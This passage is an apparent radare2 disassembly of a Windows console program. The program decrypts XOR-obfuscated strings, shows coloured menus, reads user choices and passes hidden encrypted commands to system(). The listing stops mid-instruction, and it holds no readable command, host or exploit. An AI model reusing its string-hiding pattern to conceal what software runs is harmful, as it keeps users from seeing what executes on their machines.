mov qword [rbp + 0x2b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf60], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf68], rax
movdqa xmm0, xmmword [rbp + 0x2b0]
xorps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rdx, [rbp + 0x2b0]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x10d8fc701a9bb767
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rax, 0xb4e5266f03c54c5f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf50], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf58], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
xorps xmm0, xmmword [rbp + 0xf50]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xbc9db037e8fcb74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xb4e52665519a5945
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf48], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0xf40]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
call fcn.140010b40
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xbcbca243bb68e7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0xb4e5266571aa4e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf38], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0xf30]
movdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2e0]
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf28], rax
movdqa xmm0, xmmword [rbp + 0x250]
xorps xmm0, xmmword [rbp + 0xf20]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af507e8fcb74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1110], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1118], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
xorps xmm0, xmmword [rbp + 0x1110]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.clpwy03op002xmx01ju51c8np
lea rcx, [rbp + 0xcc0]
call fcn.14000fe80
nop
lea rcx, [rbp + 0xcc0]
call fcn.14003b574
nop
lea rcx, [rbp + 0xcc0]
call fcn.14000fe20
lea rcx, [rbp + 0xec8]
call fcn.14000ffe0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x10f18f223ba68e6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xda80450c3d805845
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xaaa8ba4208225d5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1a60], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1a70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a78], rax
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a60]
vmovdqa ymmword [rbp + 0x380], ymm1
lea rdx, [rbp + 0x380]
vzeroupper
call fcn.140010b40
lea rdx, [rbp + 0xec8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140010f30
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
nop
lea rcx, [rbp + 0xd00]
call fcn.140009420
nop
mov rdx, rax
lea rcx, [rbp + 0xec8]
call fcn.140030524
nop
lea rcx, [rbp + 0xd00]
call fcn.14000fe20
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x16e48f3437be8179
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0xb4ef080002ce4f53
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
call fcn.140010b40
lea rcx, [0x14006e620]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
xor eax, eax
mov dword [rbp], eax
cmp eax, 5
jge 0x14000ec9a
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5fcdc23f3dbe8578
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x310], rax
movabs rax, 0xb4e5266571804564
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x318], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1040], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1048], rax
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x310], xmm0
lea rdx, [rbp + 0x310]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x36ffe7703fa7916e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x360], rax
movabs rax, 0xd183490a01f30a74
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x368], rax
movabs rax, 0xaaa8ba422818325b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x370], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x378], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1700], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1708], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1710], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1718], rax
vmovdqu ymm0, ymmword [rbp + 0x1700]
vpxor ymm0, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm0
lea rdx, [rbp + 0x360]
vzeroupper
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x78], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1050], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1058], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x1050]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af507e8fc374
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1060], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1068], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa2a51d3ba48969
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x98], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1070], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1078], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x1070]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af507e8fd174
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1080], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1088], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x1080]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8a53631bd907c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1090], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1098], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x1090]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af507e8fd274
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10a0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10a8], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x10a0]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xc0]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x9c1dd147eaa8969
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd0], rax
movabs rax, 0xb4e526657bd35855
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10b0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10b8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xd0]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af507e8fd374
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10c0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10c8], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x10c0]
movdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x3988c43e37be8e7a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x480], rax
movabs rax, 0xd78667453cc55c59
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x488], rax
movabs rax, 0xaaa8ba485c764d46
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x490], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x498], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1720], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1728], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1730], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1738], rax
vmovdqu ymm0, ymmword [rbp + 0x480]
vpxor ymm1, ymm0, ymmword [rbp + 0x1720]
vmovdqa ymmword [rbp + 0x480], ymm1
lea rdx, [rbp + 0x480]
vzeroupper
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10d0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10d8], rax
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x10d0]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
call fcn.140010b40
mov edx, 4
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa88f0d6ee2d174
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x100], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x108], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10e0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10e8], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x100], xmm0
lea rdx, [rbp + 0x100]
call fcn.140010b40
mov edx, 7
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x75ccdd3f3da1896b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x110], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x118], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10f0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10f8], rax
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0x10f0]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0x110]
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x130], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x138], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1100], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1108], rax
movdqa xmm0, xmmword [rbp + 0x130]
xorps xmm0, xmmword [rbp + 0x1100]
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [rbp + 0x130]
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7fa8af505ed2e025
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x140], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x148], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1120], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1128], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x1120]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
call fcn.140010b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x5f92ca3337bd886c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x150], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x158], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1130], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1138], rax
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rbp + 0x1130]
movdqa xmmword [rbp + 0x150], xmm0
lea rdx, [rbp + 0x150]
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
lea rdx, [rbp + 0xe60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov edx, dword [rbp + 0xe60]
cmp edx, 3
jne 0x14000d7a3
lea rcx, [0x14006e620]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xcdaca230b8eda6c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x160], rax
movabs rax, 0xb4e5266571a02a6c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x168], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1140], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1148], rax
movdqa xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rbp + 0x1140]
movdqa xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xea8]
call fcn.14000fe80
nop
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0xea8]
call fcn.14000fe00
movabs rax, 0x1edcce342ea2a173
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba0], rax
movabs rax, 0xf0b94a0412cf666c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xba8], rax
movabs rax, 0xc4edd6235c715f40
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb0], rax
movabs rax, 0x7d59a12a3185b26
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbb8], rax
movabs rax, 0x3da173ec827064e7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbc0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbc8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11c0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11c8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11d0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11d8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11e0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11e8], rax
vmovdqu ymm0, ymmword [rbp + 0x11c0]
vpxor ymm0, ymm0, ymmword [rbp + 0xba0]
vmovdqa ymmword [rbp + 0xba0], ymm0
vmovdqa xmm1, xmmword [rbp + 0xbc0]
vxorps xmm1, xmm1, xmmword [rbp + 0x11e0]
vmovdqa xmmword [rbp + 0xbc0], xmm1
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0xea8]
vzeroupper
call fcn.14000fe00
xor r8d, r8d
lea rdx, [rbp + 0xea8]
lea rcx, [rbp + 0xce0]
call fcn.140010ed0
nop
lea rcx, [rbp + 0xce0]
call fcn.1400032e0
nop
lea rcx, [rbp + 0xce0]
call fcn.1400027e0
nop
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xacedc353db1957c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x460], rax
movabs rax, 0xd189432151d9465c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x468], rax
movabs rax, 0xc5ced40b087c5d5d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x470], rax
movabs rax, 0x69b0f777cf6c387c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x478], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1740], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1748], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1750], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1758], rax
vmovdqu ymm0, ymmword [rbp + 0x460]
vpxor ymm1, ymm0, ymmword [rbp + 0x1740]
vmovdqa ymmword [rbp + 0x460], ymm1
lea rdx, [rbp + 0x460]
vzeroupper
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
nop
jmp 0x14000d71b
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x7fa8af505ea18c4c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x170], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x178], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1150], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1158], rax
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0xea8]
call fcn.14000fe20
mov edx, dword [rbp + 0xe60]
cmp edx, 2
jne 0x14000d9f8
movabs rax, 0x7fa8af505ea18c4c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x180], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x188], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1160], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1168], rax
movdqa xmm0, xmmword [rbp + 0x1160]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
movabs rax, 0x5fd8c0242df2835c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x190], rax
movabs rax, 0xb4e5266571cb4d46
